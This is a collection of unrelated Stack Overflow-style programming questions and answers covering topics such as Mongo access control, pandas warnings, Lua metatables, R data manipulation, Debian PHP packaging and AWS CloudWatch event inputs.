Q: Controlling/Restricting User-specific content in Mongo-Database I'm wondering how to control/restrict access from different users to their content stored in mongodb (accessed via mongoose). Let's say there is a data-model to store last wills for users.
My approach would be:

*

*Login: authenticate via username and password, store username in session.

*Middleware: Check Login-Status, query user-model for the stored username and return the user id, attach it to req-object (req.userId)

*When hitting the route to get actual content (the last-will-model): query the will-model with two conditions: matching willId and matching userId (which is also stored in will-model)

Is this in any way reasonable or even save? Couldn't find any best-practises, all the examples basically end with authentication.

A: With any of the three ways you can implement authorization, IMO the option I would choose is to use a Middleware.

It would be a cleaner option, with little impact on the code
  functionality and easy to maintain for future changes, also separates
  the concept of authentication and authorization.

I've never used, but have in mind to use this package in a project that I have to make. You can define your rules and then use it on specific routes.
app.get('/', *user.can('access home page'), function (req, res) {
    res.render('private');
});
app.get('/private', *user.can('access private page'), function (req, res) {
    res.render('private');
});
app.get('/admin', *user.can('access admin page'), function (req, res) {
    res.render('admin');
});

*Predefined rules

A: Steps 1 and 2 can be covered by using passport-local, although it's not too hard to implement manually.
Step 3 is reasonable, given that a will belongs to a user and both willId and userId are required to determine if that user should have access to a particular will document.
Since security is based on session id's, you should obviously use HTTPS and use httpOnly and secure session cookies.


text:
Q: How to use flatbuffers `key` attribute to simulate HashMap with flatbuffers in Rust? I need to create a string to string map with flatbuffers in Rust similar to:
pub struct HashMapIndex {
    keyword_by_filter: HashMap<String, String> // filter text -> keyword
}

I've found some key flatbuffers attribute that can be put on array item, but it seems to be neither documented nor shown in samples:

Can be used for in-place binary search

table KeywordToFilters {
  filter_text: string (key);
  keyword: string;
}

table Index {
  map: [KeywordToFilters];
}

How can i use it (get value by key)? The problem is that no map-like methods are generated - it's just a vector:
pub map: Option<flatbuffers::WIPOffset<flatbuffers::Vector<'a , flatbuffers::ForwardsUOffset<KeywordToFilters<'a >>>>>,

Is there more efficient way to have a map with flatbuffers in Rust?
PS. flatbuffers crate version is 0.8.3


text:
Q: Why I get an error while working on a slice of dataframe? I have a filtered dataframe called df_final, I wanted two have additional tabs. For tab 2, I create a new column, then do filterig on that column and save it, then delete the created column and save it as tab 1. Here is the code:
  df_final = df.query(query)
  df_final["Duplicate"] = df_final.duplicated(subset=['DR/ER#'])
  df_tab2 = df_final.loc[df_final['Duplicate']== True]
  df_tab1 = df_final.drop(columns = ['Duplicate', 'DR/ER#'])
  df_tab1.to_excel(writer, sheet_name = 'DR ER')
  df_tab2.to_excel(writer, sheet_name = 'DR ER duplicates')

but I get this Error.
<ipython-input-6-4e0fc04c4f3a>:46: SettingWithCopyWarning:
A value is trying to be set on a copy of a slice from a DataFrame.
Try using .loc[row_indexer,col_indexer] = value instead

See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy
  df_final["Duplicate"] = df_final.duplicated(subset=['DR/ER#'])

Please, help me.

A: df_final is actually a view of the original DataFrame
(sharing its data buffer), so you cannot alter it.
If you want to alter df_final, create it as a new DataFrame (with its
own data buffer). To do it, run e.g.:
df_final = df.query(query).copy()

and the "link" to the original DataFrame will no longer exist.


text:
Q: Simplify Lua function call to C function I'm a newbie to Lua
I have a C function registered to Lua which looks like this:
call(obj, "func", param0, param1)

In the call():

*

*We do some complex function dispatch by custom reflection logic in C++

*obj (and all params) are fixed wrapper type (similar to boost::any)

Because of that, we can't do simple class member register using regular Lua bind tools (luabind, luabridge, etc)
Here's the question:
How can we simplify the Lua call to be like this:
obj.func(param0, param1)

or
obj:func(param0, param1)

?
Thanks.

A: You have to set a metatable on each obj you create (assuming it is userdata under your control and has no metatable) and override __index metamethod in it:
local cache = { }

debug.setmetatable(obj, {
    __index = function (obj, k)
        return function (obj, ...) -- or (...) for [non-canonical] .-syntax
            return call(obj, k, ...)
        end

        -- malloc-optimized version --
        local f = cache[k] or function (obj, ...) return call(obj, k, ...) end
        cache[k] = f
        return f
    end,
    __metatable = "whatever",
})

f = obj.func
f(obj, param0, param1) --> call(obj, 'func', param0, param1)

obj:func(param0, param1) --> the same via syntactic sugar

If obj already has a metatable, then that metatable has to be modified in a similar way.
The same may be done via C interface, so you can combine obj creation with __index setup.

Update on C side:
If creation function is in external lib, then you have no options except catching all object appearance points (return values and values in tables passed as arguments) and wrap there as described above.
If creation function is under your control, you can see something like that there:
ud = lua_newuserdata(L, sizeof(object));
*ud = object;

// this part is missing if objects have no metatable at all
luaL_getmetatable(L, tname); // or 'if (luaL_newmetatable(L, tname)) { ... }'
lua_setmetatable(L, -2);

return 1;

You have to add the __index metamethod at where metatable is created:
...somewhere in the code, maybe right after *ud = object line...
if (luaL_newmetatable(L, tname)) {
    ... original metatable setup ...

    int res = luaL_loadstring(L,
        "return function (obj, k)\n"
        "    return function (obj, ...)\n"
        "        return call(obj, k, ...)\n"
        "    end\n"
        "end\n");
    assert(res == 0);

    lua_call(L, 0, 1);
    lua_setfield(L, -2, "__index");
}

If your userdata has no metatable at all, it has to be created and set.
If you want to get rid of global symbol call, then pass its C implementation as an argument to luaL_loadstring'ed chunk:
luaL_loadstring(L, "local call = ...\n return function (obj, k)\n" ...);
lua_pushcfunction(L, l_call);
lua_call(L, 1, 1); // instead of (0, 1)

Then call will be localized into the closure.


text:
Q: Combine multiple excel files into one master file using Python I am working with my thesis data where I have multiple people performing the same number of experiments. So person x has experiment 1 to 7 and so on.
I have managed to create 7 seperate excel files for each person. But what I need is one Excel file for person x, with 7 sheets with the results of each experiment.
I have searched quite a lot and I can't seem to find a fitting solution, I hope someone can help me.
counter_scenario = 1

wb = load_workbook(f'ID01_S{counter_scenario}.xlsx')
wb.create_sheet(f'ID01_S{counter_scenario}')
wb.save('ID01_No crash.xlsx')

counter_scenario += 1

What I get now is a file which overwrites the previous sheet. So in the end I only have one sheet with the data from experiment 7. Whilst I run the code the "master file" keeps updating, which (to me) indicates that data is written to it, it just overwrites it.

A: First, we will read into pandas all the workbooks for one person
df1 = pd.read_excel('person_1_exp1.xlsx')
df2 = pd.read_excel('person_1_exp2.xlsx')
df3 = pd.read_excel('person_1_exp3.xlsx')
# and so on

Let's create a new xlsx file, that will contain all the experiments for each person separately:  "Person_1_results.xlsx"
writer = pd.ExcelWriter(
    save_path.format("Person_1_results.xlsx"),
    engine='xlsxwriter')
# Convert the dataframe to an XlsxWriter Excel object.
df1.to_excel(
    writer,
    sheet_name='Experiment_1',
    startrow=0,
    startcol=0,
    index=False)
df2.to_excel(
    writer,
    sheet_name='Experiment_2',
    startrow=0,
    startcol=0,
    index=False)
df3.to_excel(
    writer,
    sheet_name='Experiment_3',
    startrow=0,
    startcol=0,
    index=False)
# and so on

# Get the xlsxwriter workbook and worksheet objects.
workbook = writer.book
worksheet1 = writer.sheets['Experiment_1']
worksheet2 = writer.sheets['Experiment_2']
worksheet2 = writer.sheets['Experiment_3']
# and so on

If you have a consistent naming of the files, you may modify this solution and add loops for making that repeated parts


text:
Q: Modifying the value for a particular variable based on a condition I am trying to get the output below, but I do not know how to get it in R. This is the data I have:
      ID    PERIOD     rating
       8      0         3
       8      1         3
       8      2         2
       8      3         F
       8      4         3
       8      5         F
       8      6         1
       9      0         2
       9      1         2
       9      2         1

Below is the output I want.
     ID    PERIOD     rating
      8      0         3
      8      1         3
      8      2         2
      8      3         F
      8      4         F
      8      5         F
      8      6         F
      9      0         2
      9      1         2
      9      2         1

As you can see, As soon as the rating hit "F" for a particular ID then the rating should remain "F" for that ID. I do not know how to go about coding. Any help will be appreciated.

A: Using data.table:
setDT(data)

data[, rating := ifelse(cumsum(rating == "F") >= 1, "F", rating), by = ID]

data
    ID PERIOD rating
 1:  8      0      3
 2:  8      1      3
 3:  8      2      2
 4:  8      3      F
 5:  8      4      F
 6:  8      5      F
 7:  8      6      F
 8:  9      0      2
 9:  9      1      2
10:  9      2      1

Where
data <- data.frame(
  ID = c(8L, 8L, 8L, 8L, 8L, 8L, 8L, 9L, 9L, 9L),
  PERIOD = c(0L, 1L, 2L, 3L, 4L, 5L, 6L, 0L, 1L, 2L),
  rating = c("3", "3", "2", "F", "3", "F", "1", "2", "2", "1"),
  stringsAsFactors = FALSE
)

EDIT
Long story, but this could be made more concise:
data[, rating := ifelse(cumsum(rating == "F"), "F", rating), by = ID]
EDIT 2
As Ronak's suggests you could do something like the following using ave() that comes with base R:
data$rating <-
  ifelse(ave(data$rating == "F", data$ID, FUN = cumsum), "F", data$rating)

A: Here is an option
library(dplyr)
data %>%
     group_by(ID) %>%
     mutate(rating  = replace(rating, row_number() > which(rating == "F")[1], "F" ))
# A tibble: 10 x 3
# Groups:   ID [2]
#      ID PERIOD rating
#   <int>  <int> <chr>
# 1     8      0 3
# 2     8      1 3
# 3     8      2 2
# 4     8      3 F
# 5     8      4 F
# 6     8      5 F
# 7     8      6 F
# 8     9      0 2
# 9     9      1 2
#10     9      2 1


text:
Q: Left Join Mysql query resulting wrong I have a mysql left join query . This query runs ok . But the left joined table not getting values . Please go through below query . I am working in C#
void getstuinfo()
        {
            try
            {
                MySqlCommand com = new MySqlCommand("select stumaster.stuname,"+
                "stumaster.lname,"+
                "stumaster.fname,"+
                "stumaster.mname,"+
                "stumaster.fa_calty,"+
                "stumaster.sex,"+
                "castmaster.castdisp,"+
                "stumaster.castcode,"+
                "stumaster.nwscs "+
                "from stumaster "+
                " left join castmaster  on stumaster.castcode = castmaster.castcode "+
                " where grno = " + Convert.ToInt32(textBox1.Text).ToString(), con_db.con);
                MySqlDataReader dr1 = com.ExecuteReader();
                if (dr1.HasRows)
                {
                    while (dr1.Read())
                    {
                        textBox2.Text = (dr1[("stuname")].ToString());
                        textBox4.Text = (dr1["lname"]).ToString();
                        textBox5.Text = (dr1["fname"]).ToString();
                        textBox6.Text = (dr1["mname"]).ToString();
                        comboBox5.Text = (dr1["fa_calty"]).ToString();
                        comboBox1.Text = (dr1["castdisp"]).ToString();
                        textBox7.Text = (dr1["castcode"]).ToString();
                        textBox9.Text = (dr1["nwscs"]).ToString();
                        string wsex = (dr1["sex"]).ToString();

                        if (wsex == "M")
                        {
                            radioButton1.Checked = true;
                        }
                        else
                        {
                            radioButton2.Checked = true;
                        }
                    }
                    dr1.Close();
                }
                else
                {
                    MessageBox.Show("Not a Valid G.R.No.", " Student Information ");
                    dr1.Close();
                    textBox1.Focus();
                    return;
                }
            }
            catch (FormatException)
            {
                MessageBox.Show("Date is Invalid  ");
            }
        }

A: you have to give the table name with grno
ie
stumaster.grno   = conditiion


text:
Q: sitecore: Clear single image from media cache We have made a custom image cropper.
The idea is that it saves a query string in a field in the item.
Then on rendering we add that query string to the image url.
We added a getMediaStream pipeline. Inside this pipeline we crop the image using ImageProcessor based on the querystring that the image has.
This all works... once.
After it worked once the image is in the media cache and we never get back inside the getMediaStream pipeline. Because when you recrop, you don't change the image but you change that querystring.
We are searching for a way that when we save a new crop, we clear the media cache from that image.
We have tried the following:
var mediaItem = new MediaItem(imageField.MediaItem);
var media = MediaManager.GetMedia(mediaItem);
var mediaOptions = new MediaOptions();
var mediaStream = MediaManager.Cache.GetStream(media, mediaOptions);

MediaStream cachedStream = null;
MediaManager.Cache.AddStream(media, mediaOptions, mediaStream, out cachedStream);

We get the media cache stream and try setting it to zero, but that gives us the following exception:  Could not create the buffer file needed for stream sharing
Any ideas if it's possible to clear a single item from the media cache?

A: I don't think you need to remove a single item from the cache. Sitecore stores one image in the cache per unique request. If you have genuinely updated the querystring that is used to request the image then Sitecore should call the getmediastream pipeline again.
My guess is that your custom querystring is not actually being passed as part of the request.
Sitecore stores a ini file alongside the cached images, It has a section per image request and stores the querystring that was requested. Bottom line, if your querystring is unique then you should hit the pipeline.


text:
Q: EF Core CLI Tools prerequisits for attaching the debugger I was trying to debug the OnModelCreated from my DBContext as described here: EF Core Add Migration Debugging by inserting System.Diagnostics.Debugger.Launch()
Then I ran the > dotnet ef migrations list command and got the prompt for attaching a Debugger. I choose the running VS, where the correct solution was loaded.
Then I saw disassembled files and warnings about not finding the debugger.cpp and whatsoever. I choose to set a breakpoint directly after the aforementioned Debugger.Launch() which then told me

Breakpoint, will not be hit, since no symbols have been loaded"

Well - the module window, will most likely know something about that.
So openening the module window and looking for my .dll. - There it is - with a small red cross on top.
Right-Click to the module: Symbol load information states:

This module is a pre-compiled binary created by the ngen.exe tool. The debugger does not attempt to load symbols for these binaries, but will instead load symbols for original dll/exe when it is loaded by the .NET Runtime.

And Symbol Status from the File states:
| Name | SymbolStatus | Process |
| DataAccess.Migrations.dll | Native debugger skipped loading symbols for managed module. | [21808] dotnet.exe |
As I write this, it seems, VS tries to debug the native code instead of the managed code. Is there a way to solve this or jump into "mixed mode debugging"?

A: It seems the debugger is skipping files not in the .NET environment.
Solution: Check Debugging -> General -> Enable Just My Code
For mixed mode:
Project name -> properties-> debugging -> Debugger Type:


text:
Q: How can I launch a DialogFragment from clicking a preference item? In my preferences.xml file I have things like
<?xml version="1.0" encoding="utf-8"?>
<PreferenceScreen
    xmlns:android="http://schemas.android.com/apk/res/android">

    <PreferenceCategory
        android:title = "Random Title"
        android:key = "random_category">

    </PreferenceCategory>
</PreferenceScreen>

And I have a PreferenceFragment:
public class PrefFragment extends PreferenceFragment  {

    @Override
    public void onCreate(final Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        addPreferencesFromResource(R.xml.preferences);
    }

}

I want to add an item to the category where if you click on it, it calls SomeFunc() (which launches a DialogFragment and from there I know how to save preference values using a helper I wrote), but I don't know how to include just a regular clickable Preference that triggers this function.

A: To add on click event
    Preference button = findPreference(preferenceKey);
    button.setOnPreferenceClickListener(new Preference.OnPreferenceClickListener() {
        @Override
        public boolean onPreferenceClick(Preference preference) {
            // Do some stuff here
            return true;
        }
    });

It is also worth checking out Android Studio's default preference page (New -> Activity -> Settings Activity) - it's quite neet but not too straightforward.


text:
Q: Need dynamic checkbox list control in angular 7 I need to implement a dropdown list controls which contains a list of checkboxes to select in my angular 7 application. Could somebody tell me in their experience if they have used similar control. Please note that the list contents would be dynamic

Html
 <app-checkboxes [values]="Currencies" [(ngModel)]="f.OtherCurrencyName"></app-checkboxes>

JSON
"Currencies": [
            {
                "Id": 7,
                "Name": "AUD"
            },
            {
                "Id": 10,
                "Name": "BND"
            },
            {
                "Id": 19,
                "Name": "BRL"
            },
            {
                "Id": 6,
                "Name": "CAD"
            },
            {
                "Id": 5,
                "Name": "CHF"
            },
            {
                "Id": 13,
                "Name": "CNH"
            },
            {
                "Id": 12,
                "Name": "CNY"
            },
            {
                "Id": 18,
                "Name": "DKK"
            }]

A: I would suggest to create a custom component implementing the ControlValueAccessor :
@Component({
  selector: 'app-checkboxes',
  templateUrl: './checkboxes.component.html',
  styleUrls: ['./checkboxes.component.css'],
  providers: [
    {
      provide: NG_VALUE_ACCESSOR,
      useExisting: forwardRef(() => CheckboxesComponent),
      multi: true
    }
  ]
})
export class CheckboxesComponent implements ControlValueAccessor {
  @Input() values: string[] = [];
  selectedValues = {};

  onChange = (value: any) => { };
  onTouched = () => { };

  writeValue(initValue: any): void {
    this.selectedValues = initValue || {};
  }
  registerOnChange(fn: any): void {
    this.onChange = fn;
  }
  registerOnTouched(fn: any): void {
    this.onTouched = fn;
  }
}

Here is a running example.


text:
Q: Instantiating a just-created class in a metaclass results in a RuntimeError ("super(): empty __class__ cell") So I have this metaclass that I want to use for automatic registration of new components, i.e. subclasses of some base component class. When registering a new component, its instance is expected to be passed to the register_component() function that handles that.
Metaclass code (stripped-down version):
class AutoRegisteredMeta(type):
    def __new__(metacls, name, bases, attrs):

        # ... (omitted) check if "name" has already been registered ...

        new_class = super().__new__(metacls, name, bases, attrs)
        register_component(name, new_class())  # RuntimeError(super(): empty __class__ cell)
        return new_class

The problem is that invoking new_class() results in an error - but not for all classes. After some experimenting I realized that this only happens if a subclass calls super().__init__() in its own __init__() method.
Sample component and the base class:
class BaseComponent(metaclass=AutoRegisteredMeta):
    def __init__(self):
        # do some work here ...

class ComponentFoo(BaseComponent):
    def __init__(self):
        super().__init__()  # <--- RuntimeError occurs here
        self.foo = 'bar'

What am I doing wrong here? Reading this I found out that I probably shouldn't be doing instantiation in metaclass'es __new__() or __init__(), right? Can this perhaps be circumvented somehow?
Also, some explanation in layman's terms would be nice, I don't know much of the internals of the CPython implementation.
Thanks in advance!
(FWIW, I use Python 3.3.6, Ubuntu)

EDIT: I'm adding the minimal example that was requested, you can run it directly and see the error in action yourself.
#!/usr/bin/env python3

class AutoRegisteredMeta(type):
    def __new__(metacls, name, bases, attrs):
        new_class = super().__new__(metacls, name, bases, attrs)
        new_class()  # <--- RuntimeError can occur here
        return new_class

class BaseComponent(metaclass=AutoRegisteredMeta):
    def __init__(self):
        print("BaseComponent __init__()")

class GoodComponent(BaseComponent):
    def __init__(self):
        print("GoodComponent __init__()")

class BadComponent(BaseComponent):
    def __init__(self):
        print("BadComponent __init__()")
        super().__init__()  # <--- RuntimeError occurs because of this

A: maybe this works:
#!/usr/bin/env python3

class AutoRegisteredMeta(type):
    def __new__(metacls, name, bases, attrs):
        new_class = super().__new__(metacls, name, bases, attrs)
        new_class()
        return new_class

class BaseComponent(metaclass=AutoRegisteredMeta):
    def __init__(self):
        print("BaseComponent __init__()")

class GoodComponent(BaseComponent):
    def __init__(self):
        print("GoodComponent __init__()")

class BadComponent(BaseComponent):
    def __init__(self):
        print("BadComponent __init__()")
        super(self.__class__, self).__init__()


text:
Q: What actions or scenarios will cause python to reindex a data frame How can I better understand the rules around when pandas will modify or rearrange my data/index? I was testing to see how pandas works when cross referencing two tables with duplicates in the index. If two tables have duplicates and are "aligned" it seems to work ok. If I break that alignment, then try again, I guess python is trying to realign them and it breaks. So my questions are:
When or how does python know things are "aligned"
What other actions (or what in general) cause python to transparently reindex dataframes?
In general, is it true that any cross-reference between two dataframes will always (logically at least) align indexes before doing the operation? Or could it be positional?
Is there a golden rule about how python uses indexes when I cross reference two dataframes? If I had to speculate from this the logic would be:

*

*If index = index, then do a row-wise assignment

*If index != index, then reindex one or both items?

*

*Reindex fails if there are duplicates

(second block gets this error) Error: "ValueError: cannot reindex on an axis with duplicate labels"
x = pd.DataFrame({'a':[1,2,3,4,5]},index=[1,2,3,4,4])
y = pd.DataFrame({'a':[10,20,30,40,50]},index=[1,2,3,4,4])
x['y'] = y.a
x

x = pd.DataFrame({'a':[1,2,3,4,5]},index=[1,2,3,4,4])
y = pd.DataFrame({'a':[10,20,30,40,50]},index=[1,2,3,4,4]).sort_values('a',ascending=False)
x['y'] = y.a
x


text:
Q: Can not install php7.4-soap on Debian 9 I am using Debian 9, and I recently upgraded PHP from 5.6 to 7.4. I was hit by the

Class 'SoapClient' not found

error when running an old PHP script, which worked very well under PHP 5.6. The phpinfo() lists "SOAP" module but it doesn't have a dedicated "soap" section with "Soap Client" listed (as mentioned here).
I believe the problem is that I have not installed the php7.4-soap extension, so I run sudo apt-get install php7.4-soap, but I got these errors:
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
 php7.4-soap : Depends: php7.4-common (= 7.4.20-1+ubuntu21.04.1+deb.sury.org+1) but 7.4.16-1+0~20210305.42+debian9~1.gbpbbe65e is to be installed
               Depends: libc6 (>= 2.33) but 2.24-11+deb9u4 is to be installed
E: Unable to correct problems, you have held broken packages.

I also tried installing php7.4-common manually, but the installation failed with these errors:
 php7.4-common : Depends: libc6 (>= 2.33) but 2.24-11+deb9u4 is to be installed
                 Depends: libffi8ubuntu1 (>= 3.4~20200819) but it is not installable
E: Unable to correct problems, you have held broken packages.

How can I resolve this kind of problem? Thank you.
My output of grep -Rn --include=\*.list ^[^\#] /etc/apt/ is:
/etc/apt/sources.list.d/mysql.list:4:deb http://repo.mysql.com/apt/debian/ stretch mysql-apt-config
/etc/apt/sources.list.d/mysql.list:5:deb http://repo.mysql.com/apt/debian/ stretch mysql-5.6
/etc/apt/sources.list.d/mysql.list:6:deb http://repo.mysql.com/apt/debian/ stretch mysql-tools
/etc/apt/sources.list.d/mysql.list:8:deb-src http://repo.mysql.com/apt/debian/ stretch mysql-5.6
/etc/apt/sources.list.d/dotdeb.list:1:deb http://packages.dotdeb.org wheezy-php56 all
/etc/apt/sources.list.d/dotdeb.list:2:deb-src http://packages.dotdeb.org wheezy-php56 all
/etc/apt/sources.list.d/php.list:1:deb https://packages.sury.org/php/ stretch main
/etc/apt/sources.list:17:deb http://mirrors.linode.com/debian stretch main
/etc/apt/sources.list:18:deb-src http://mirrors.linode.com/debian stretch main
/etc/apt/sources.list:20:deb http://mirrors.linode.com/debian-security/ stretch/updates main
/etc/apt/sources.list:21:deb-src http://mirrors.linode.com/debian-security/ stretch/updates main
/etc/apt/sources.list:24:deb http://mirrors.linode.com/debian stretch-updates main
/etc/apt/sources.list:25:deb-src http://mirrors.linode.com/debian stretch-updates main

A: On debian the php7.4-soap is available for  bullseye and sid.
On debian Stretch, you can install php7.4-soap from Sury repo:
sudo apt install apt-transport-https software-properties-common lsb-release ca-certificates
echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" sudo tee /etc/apt/sources.list.d/php.list
wget -qO - https://packages.sury.org/php/apt.gpg | sudo apt-key add -
sudo apt update
sudo apt install php7.4-soap


text:
Q: Как сохранить в память компьютера данные c++ Привет. Есть консольное приложение, где, допустим, вводятся имена людей и потом сохраняются в векторе.
std::vector<std::string> people;std::string name;std::cin >> name;people.push_back(name);
Вопрос в том, как сохранить этот заполненный вектор в памяти компьютера, чтобы при следующем открытии этого приложения, не пришлось заново заполнять его?

A: Можно сохранить содержимое вектора в файл и добавить в опции запуска программы ключ для задания источника данных: файл или ввод в консоли.

A: Сохраняйте имена людей в файл на жестком диске.
using namespace std;
int main()
{
    int peopleNumber;
    string name;
    ofstream f; //описывает поток для записи данных в файл

    //открываем файл в режиме записи,
    //режим ios::out устанавливается по умолчанию
    f.open("D:\\names.txt", ios::out);

    //вводим количество людей
    cout<<"People number="; cin>>peopleNumber;

    //цикл для ввода имён и записи их в файл
    for (int i=0; i<peopleNumber; i++)
    {
        cout<<"Name=";
        cin>>name;     //считывает из консоли введенное имя
        f<<name<<"\t"; //запись в файл
    }
    f.close(); //закрытие потока
    return 0;
}

Только в вашем случае вам нужно пройтись циклом по вектору, считывать имена и записывать в файл

A: В решении данной задачи вам поможет помочь сериализация\десериализация данных.


text:
Q: playframework model not saved properly In my play1.2.4 app,I have a Customer who can have a Set of PaymentMethods.I tried to model it like below,and also wrote methods in controller to add the PaymentMethod to the Customer.payments.
However,the methods give strange results.When a payment is added,the customer.payments set is correctly shown as incremented by 1 element.Then when I go to another controller method to show the paymentMethods of Customer,it says the customer.payments is empty.
I cannot figure out why this happens.Can somebody help me rectify this?
Customer.java:
@Entity
class Customer extends Model{
   ...
   @OneToMany(mappedBy="customer",cascade=CascadeType.ALL)
    public Set<PaymentMethod> payments;

    public Customer(){
      ...
      payments = new HashSet<PaymentMethod>();
    }

}
PaymentMethod.java
@Entity
class PaymentMethod  extends Model{
    ...
    @ManyToOne
    public Customer customer;
}

the controller methods
public static void addNewPaymentMethod(Long custId,...){
    Customer customer = Customer.findById(custId);
    PaymentMethod payment = findOrCreateNewPayment(...);//if already in db get it or create a new one
    customer.payments.add(payment);
    customer.save();
    System.out.println("customer  has:"+customer.payments.size()+" payments");
    showPaymentForm(custId);
}

//here the console output is:
customer  has: 1 payments
edit: findOrCreateNewPayment method is :
PaymentMethod findOrCreateNewPayment(Customer customer,String paymentNumber,...){
    String query = "select distinct p from PaymentMethod p where p.customer=:customer and and p.paymentNumber=:paymentNumber...";//other fields omitted for brevity
    PaymentMethod payment = PaymentMethod.find(query).bind("customer", customer).bind("paymentNumber", paymentNumber)...first();//other bind params omitted for brevity
    if(payment == null){
      payment = new PaymentMethod(paymentNumber,month,name,day,type);
      payment.save();
    }
    return payment;
}

However,the showPaymentForm() tells me that the customer doesn't have any payments!
showPaymentForm(Long custId){
    Customer customer = Customer.findById(custId);
    System.out.println("showPaymentForm():: customer has ="+customer.payments.size()+" payments");
    ...
    render(customer);

}
console ouput is:
customer  has: 0 payments
Also,when I checked the Payment table ,I found that
*id |   paymenttype   | paymentnumber | month |     name     | year | customer_id*
28 | PayMethod1       | 1111XXXXXX2222   | 11    | jon        | 2027 |
The customer_id field in this table should have had a number for the customer,but is empty.It seems that customer.save() in the controller did not commit..
Why is this happening? Can someone tell ?..Any help appreciated.

A: When you create a new PaymentMethod, did the Customer get set on the object prior to save?  So something like this:
Customer someCustomer = ...
new PaymentMethod(someType, someNumber, someMonth, someName, someYear, someCustomer).save();

Also if you expect a customer to be associated with a PaymentMethod you might want to make the Customer field not nullable:
@Entity
public class PaymentMethod  extends Model {
    ...
    @Column(nullable = false)
    @ManyToOne
    public Customer customer;
}


text:
Q: Attach a specific event to a cloudwatch events rule So let's say I have a cloudwatch rule that triggers the lambda function lambdaName every monday. It works perfectly fine, but now I want to customize the event it will send to that lambda function to add the data I need.
In other words, attach a JSON object to go with the event that triggers the lambdaName function. Is that possible? I'm sure it has to be a thing, but I struggle to find the proper documentation for it. I'm currently using the AWS SDK for Node.js for development. Thank you in advance.

A: You can't make any modifications to the object that's sent to Lambda if it's triggered by another AWS service, like if you're having an S3 event trigger the function.
If you use CloudWatch rules to trigger on an event then it is possible to pick apart and pass on only the parts of the object that you may need but AFAIK you can't inject anything new into the object.
The only way I know to get other data in the function is to either add Environment variables to the function or have the function grab values from the Parameter store.
If you just want to trigger a function manually on a schedule then you can specify a custom json object that's sent within CloudWatch rules, but it doesn't sound like that's what you want.
Edit: If you want to send in json by launching it through a schedule, do the following:

*

*Open CloudWatch, on the left select Events, Rules on the left.

*Click Create Rule

*Under Event Source select Schedule".

*Select either Fixed Rate or Cron expression for how often the function should be triggered.

*Under Targets click Add target.

*Select the function you want to launch

*Under Configure input select Constant (JSON text) and input whatever JSON you want sent to the function.

When the function is executed the JSON you specified should be sent in as the "Event" object.
Note that for #3 you can also select an Event Pattern and trigger it off of almost any API event, BUT you can't modify the Event object.  You can either send the full object, send only specific pieces of the object, or send a completely different object.
See also: Use constant values in Cloudwatch event triggered Lambda functions
Edit 2: Looking at this again it looks like you can modify an event.  In step 7 above there's also an option for Input Transformer and looking into that it looks like you can take the event object and turn it into a new object, including whatever new json that you would want.  Search for "aws cloudwatch rules input transformer" or see this for more info: Tutorial: Input Transformer

A: So as JeffR said you can't add it to the trigger BUT
What you can do is in your handler before you call your Lambda function you add the data you need to your event and pass it to the main handler like so:
const yourFunction = require('yourFunction.js')

const funcHandler = (func) => {
    return (event, context, callback) => {

       // Query your data sources here ie event.whatever(body?) = ....
       func(event, context, callback)

    }
}

export const yourFunctionHandler = funcHandler(yourFunction)


text:
Q: Javascript returns System.InvalidOperationException: Unexpected new line Error I'm currently trying to write a mailto form which has the body already created. For the moment I'm keeping it simple and trying to just put an email, address and name into the body of the email to be sent. When I do this it returns the error

System.InvalidOperationException: Unexpected new line

Here's the HTML:
<form method='post'  enctype="text/plain">
Name:

<input type="text" name="personsName" id="personsName">

E-mail:

<input type="text" name="mail" id ="mail">

Address:

<input type="text" name="address" id ="address">

<input type="submit" value="Send" id="send">
</form>

And here's the relevant JavaScript:
$(function(){ EGf20a6658.Init(); });

var EGf20a6658 = {

Init: function() {
    if (typeof(OEConfEGf20a6658) === undefined) return;
    var allElements = OEConfEGf20a6658;

    for(var ID in allElements) {
        var $el = $('#'+ID); // The element's main
 tag
        var properties = allElements[ID]; // element's available properties for JS
        this.InitElement(ID, $el, properties);
    }
},

InitElement: function(ID, $el, properties) {

    var name = $('#personsName').val();
    var mail = $('#mail').val();
    var address = $('#address').val();

    var message = "Hey " + " How are you? You still at "  + " with the email "  + "?";

    var mailtolink = 'mailto:me@domain.com?subject=Regret Permission Form&body=' + encodeURIComponent(message);

    $( '#send' ).on( 'click', function(event) {
    $(this).attr('href', mailtolink);
    });
}

};

I noticed that the error always returns the value for name.
Here's the full error code:
500 - Unexpected new line: k [CRLF].

System.InvalidOperationException: Unexpected new line: k
[CRLF].
   at HttpServer.Tools.StringReader.ReadToEnd(String delimiters)
   at HttpServer.Tools.UrlParser.Parse2(ITextReader reader, Boolean urlDecode)
   at HttpServer.Tools.UrlParser.Parse2(String queryString, Boolean urlDecode)
   at HttpServer.RequestEventArgs.FixPostData(IRequest request)
   at HttpServer.RequestEventArgs..ctor(IHttpContext context, IRequest request, IResponse response)
   at HttpServer.HttpContext.OnRequest(Object sender, FactoryRequestEventArgs e)
   at System.EventHandler`1.Invoke(Object sender, TEventArgs e)
   at HttpServer.Messages.MessageFactoryContext.OnMessageComplete(Object sender, EventArgs e)
   at System.EventHandler.Invoke(Object sender, EventArgs e)
   at HttpServer.Messages.Parser.HttpParser.OnComplete()
   at HttpServer.Messages.Parser.HttpParser.GetBody()
   at HttpServer.Messages.Parser.HttpParser.Parse(Byte[] buffer, Int32 offset, Int32 count)
   at HttpServer.HttpContext.ParseBuffer(Int32 bytesLeft)
   at HttpServer.HttpContext.OnReceive(IAsyncResult ar)

A: So, I managed to fix the issue. I realized I had made the issue too complicated and fixed it using some simple code from Aitor in this Anwser . I basically just rewrote it to fit the way Aitor had his laid out.


text:
Q: php -v command in command prompt not working on windows I have downloaded the php v 7.3 from https://www.php.net/releases/
after downloading and extracting I have added the path to my envirnoment variables.
but after restarting command prompt and executing php -v i cant see the php version.
what I found issue is that there is no php.exe file inside the folder, can you tell me where is it?

A: The page you linked to is offering the source code for different versions of PHP; to use them, you would need to compile them for your platform.
If you are looking for Windows binaries, you need to look at https://windows.php.net/ which explains the different options available for currently supported versions. (It also has links to instructions for building from source, if you want to attempt that.)
